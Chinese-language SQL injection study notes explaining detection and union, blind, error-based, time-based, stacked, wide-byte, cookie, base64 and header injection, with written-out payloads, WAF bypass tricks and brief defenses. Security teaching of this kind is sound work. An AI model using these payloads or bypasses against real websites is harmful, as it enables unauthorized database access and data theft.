相关知识点
SQL 注入原理
产生原因,以 PHP 为例:
$query = "SELECT * FROM users WHERE id=$_GET['id']";
SQL 注入产生需要满足两个条件:
参数用户可控
参数带入数据库查询
SQL 注入漏洞判断
http://xxx/abc.php?id=1'
如果页面返回错误,则存在 sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
通常 sql 注入漏洞分为 2 种类型:整数型、字符型
数字型判断
SELECT * FROM users where id=1 and 1=1
SELECT * FROM users where id=1 and 1=2
如果参数存在 sql 注入,由于 1=1 为真,1=2 为假,返回是不同的结果。由此可以初步判定有 SQL 注入。
但是如果面对字符型,就会被转换成
SELECT * FROM users where id='1 and 1=1'
SELECT * FROM users where id='1 and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。
字符型判断
当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下: select * from <表名> where id = 'x' 这种类型我们同样可以使用 and '1'='1 和 and '1'='2来判断:
输入 id= x' and '1'='1 页面运行正常,继续进行下一步。
输入 id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入,记住参数后面有一个 ' 且最后面没有单引号。双引号也要判断一下
information_schema 库
MySQL 5.0 之后的版本,默认就有一个名叫“information_schema”的数据库,在这个数据库中,需要记住三个表名:SCHEMATA、TABELS、COLUMNS。
SCHEMATA 存储该用户创建的所有数据库的库名。该表中数据库库名的字段名是 SCHEMA_NAME。
TABELS 存储该用户创建的所有数据库的库名和表明。数据库库名和表名的字段名分别是 TABLE_SCHEMA 和 TABLE_NAME。
COLUMNS 表存储该用户创建的所有数据库的库名、表名和字段名,他们对应在这张表的字段名分别是 TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME。
SQL 语句
查询语句
SELECT 要查询的字段名 FROM 库名.表名
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名='已知条件的值'
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件1的字段名='已知条件1的值' AND 已知条件2的字段名='已知条件2的值'
limit 用法
limit 用法是 limit m,n。m 表示记录开始的位置,n 表示取 n 条记录。例如 limit 0,1 表示从第一条开始,取一条记录。
常用函数
函数 | 作用 |
---|---|
database() | 当前网站使用的数据库 |
version() | 当前 MySQL 版本 |
user() | 当前 MySQL 的用户 |
注释符
#(URL 编码 %23)(单行注释) 或 --空格(单行注释) 或 /**/(多行注释)
内联注释
内联注释的形式:/*!code*/
内联注释可以用于这个 SQL 语句,用来执行我们的 SQL 语句。内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/*!...*/
中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别,执行。/*!50001*/
表示数据库版本>=5.00.01时中间的语句才能被执行。举例:
index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
ORDER BY 用法
1、order by 排序可以按照指定的「字段名」排序,我们可以指定 username 字段,让查询结果按照用户名进行排序。
2、order by 还可以按照「索引」进行排序,索引就是从左至右将列名按照 123 排序。我们还是指定 username 字段,让查询结果按照用户名进行排序, username 是查询结果中左边第一个字段,所以对应的索引是 1。
3、利用报错机制判断列数,如果访问 id=1 order by 3 和 id=1 结果相同,和 id=1 order by 4 不同,则列数为 3。
SQL 注入分类
Union 注入攻击
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
使用 order by 查询出列数后,使用 id=1+union+select+1,database(),3 查看数据库。
进一步,查询表明
id=1+union+select+1,(select+table_name+from+information_schema.tables+where+table_schema='sql'+limit+0,1),3
Boolean 注入攻击
如果页面返回不是数据库中的数据,比如只返回 yes 和 no,这样就不能使用 union 注入,可以尝试 Boolean 注入。原理是通过返回结果进行爆破,先爆破长度,然后每个字母每个字母的进行爆破。
判断数据库长度:
' and lengeth(database())>=1--+
然后递增直到返回 no 则得到数据库名长度。接着逐字符判断爆破数据库名。
' and substr(database(),1,1)='a'--+
substr 是截取的意思,其意思是截取 database() 的值,从第一个字符开始,每次只返回一个。
substr() 和 limit 有区别,substr() 从 1 开始,limit 从 0 开始。使用 burp 爆破功能对这里的 'a' 进行爆破,返回结果按长度排序,长度不同的那个结果就是正确的。
还可以使用 ASCII 码的字符进行查询,s 的 ASCII 码是 115,在 MySQL 中,ASCII 转换的函数为 ord,则逐字符判断的 SQL 语句应改为
'and ord(substr(database(),1,1))=115--+
报错注入攻击
当我们输入 id=1',数据库报错返回信息如果被返回到页面上,则存在报错注入。报错注入有多种格式,这里使用 updatexml() 获取 user()。
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
0x7e 是 ASCII 编码,解析结果为 ~。
updatexml() 获取 database()。
' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schematalimit 0,1),0x7e) ,1)--+
获取 test 数据库的表名
' and updatexml(1,concat(0x7e, ( select table_name from information_schema.tables wheretable schema= 'test ' limit 0,1),0x7e),1)--+
时间注入攻击
如果是返回 yes 和 no,亦或者不会有回显结果的时候,可以考虑使用时间注入。时间注入是利用 sleep() 或 benchmark() 等函数让 MySQL 的执行时间变长。时间盲注多与 IF(expr1,expr2,expr3) 结合使用,此 if 语句含义是:
如果 expr1 是 TRUE,则 IF 的返回值为 expr2;否则返回值则为 expr3。所以判断数据库库名长度的语句应为:
if(length(database())>1,sleep(5),1)
使用就和 Boolean 注入类似,利用 burp 爆破长度和字符。结果根据返回时间排序。
id=1'+and+if(substr(database(),1,1)='s',sleep(5),1)--+
关于这里,有个说明就是 id=1 后面的单引号用于对前面的单引号进行闭合。后面的 --+ 是为了注释掉后面的语句。
再举例:
select * from users where 'id'='1' and if(ord(substring(user(),1,1))=114,sleep(3),1)%23
堆叠查询注入攻击
堆叠查询可以执行多条语句,多语句之间以分号隔开。堆叠查询注入就是利用这个特点,在第二个 SQL 语句中构造自己要执行的语句。首先访问 id=1',页面返回 MySQL 错误,再访问 id=1%23,页面返回正常结果。这里可以使用 Boolean 注入、时间注入,也可以使用堆叠注入。语句如下:
';select if(substr(user(),1,1)='r',sleep(3),1)%23
后续操作和时间盲注一样。依次获取库名,表名,字段名和具体数据。
二次注入攻击
在将数据存入到了数据库中之后,开发者就认为数据是可信的,在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,就会造成二次注入。

二次注入
宽字节注入攻击
宽字节:GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃 ASCII 字符(一字节)的现象,即将两个 ascii 字符误认为是一个宽字节字符。
magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线
magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会再前面加转义字符'\',来做一定的过滤。
当数据库编码是 GBK 的时候,可以使用宽字节注入,宽字节的格式是在地址后先加一个 %df,再加单引号,因为反斜杠的编码为 %5c,而在 GBK 编码中,%df%5c 是繁体字“運”,所以这时,单引号成功逃逸,报出 MySQL 数据库的错误。参考 https://www.cnblogs.com/fengshui/p/9266830.html 。
cookie 注入攻击
如果在 URL 中没有发现参数,但是在 Cookie 中发现参数,我们可以尝试在 Cookie 参数中加单引号,使用 burp 发现页面返回不同的情况下,再执行前面的 SQL 注入方法(order by,union等等)。
base64 注入攻击
如果在用户可以控制的参数中,发现了 Base64 编码的内容后。可以将 id=1',id=1 and 1=1,id=1 and 1=2 这些测试语句进行编码然后发送观察返回结果是否一致。后续的注入和前面类似,只需要进行编码即可。
XFF 注入攻击
通过抓包发现 HTTP 请求头部有 X-Forwarded-for 字段,该字段代表客户端真实 IP,通过伪造 XFF 的值为 127.0.0.1,访问发现正常访问,然后设置成 127.0.0.1' 访问发现报错。后续使用 127.0.0.1' and 1=1# 和 127.0.0.1' and 1=2# 测试,发现返回页面不同则可以使用 union 注入。
绕过手法
大小写绕过
假设访问 id=1 and 1=1 时被拦截了,尝试把 and 改为 AND,And,aNd 等字符,SQL 关键词不区分大小写,遇到被拦了随便改。
双写绕过
假设访问 id=1 and 1=1 被拦截了,尝试把 and 改为 anandd,order by 改为 oorrder by 等等。
编码绕过
访问 id=1',发现存在 sql 注入,尝试访问 id=1 and 1=1 和 id=1 and 1=2 时,发现关键词 and 被拦截。由于服务器会自动对 URL 进行一次 URL 接码,所以需要将关键词编码两次,这里需要注意的时,URL 编码需要选择全编码,而不是普通的 URL 编码。 关键词 and 进行两次 URL 全编码的结果是 %25%36%31%25%36%65%25%36%34,访问 id=1%25%36%31%25%36%65%25%36%34 1=1 时,返回结果与 id=1 相同,访问 id=1%25%36%31%25%36%65%25%36%34 1=2 时不同,则存在 SQL 注入漏洞。
内联注释绕过
访问 id=1+/!and/+1=2 和 id=1+/!and/+1=1 不同则存在 SQL 注入。
绕过空格(注释符/**/,%a0)
直接替换即可。
SQL 注入防御
过滤危险字符
最常用手法,过滤 sleep,union,load_file 等等。
使用预编译字符
使用 PD0 预编译语句,但是注意不能将变量直接拼接进去,而是使用占位符对数据进行增加删除修改查询。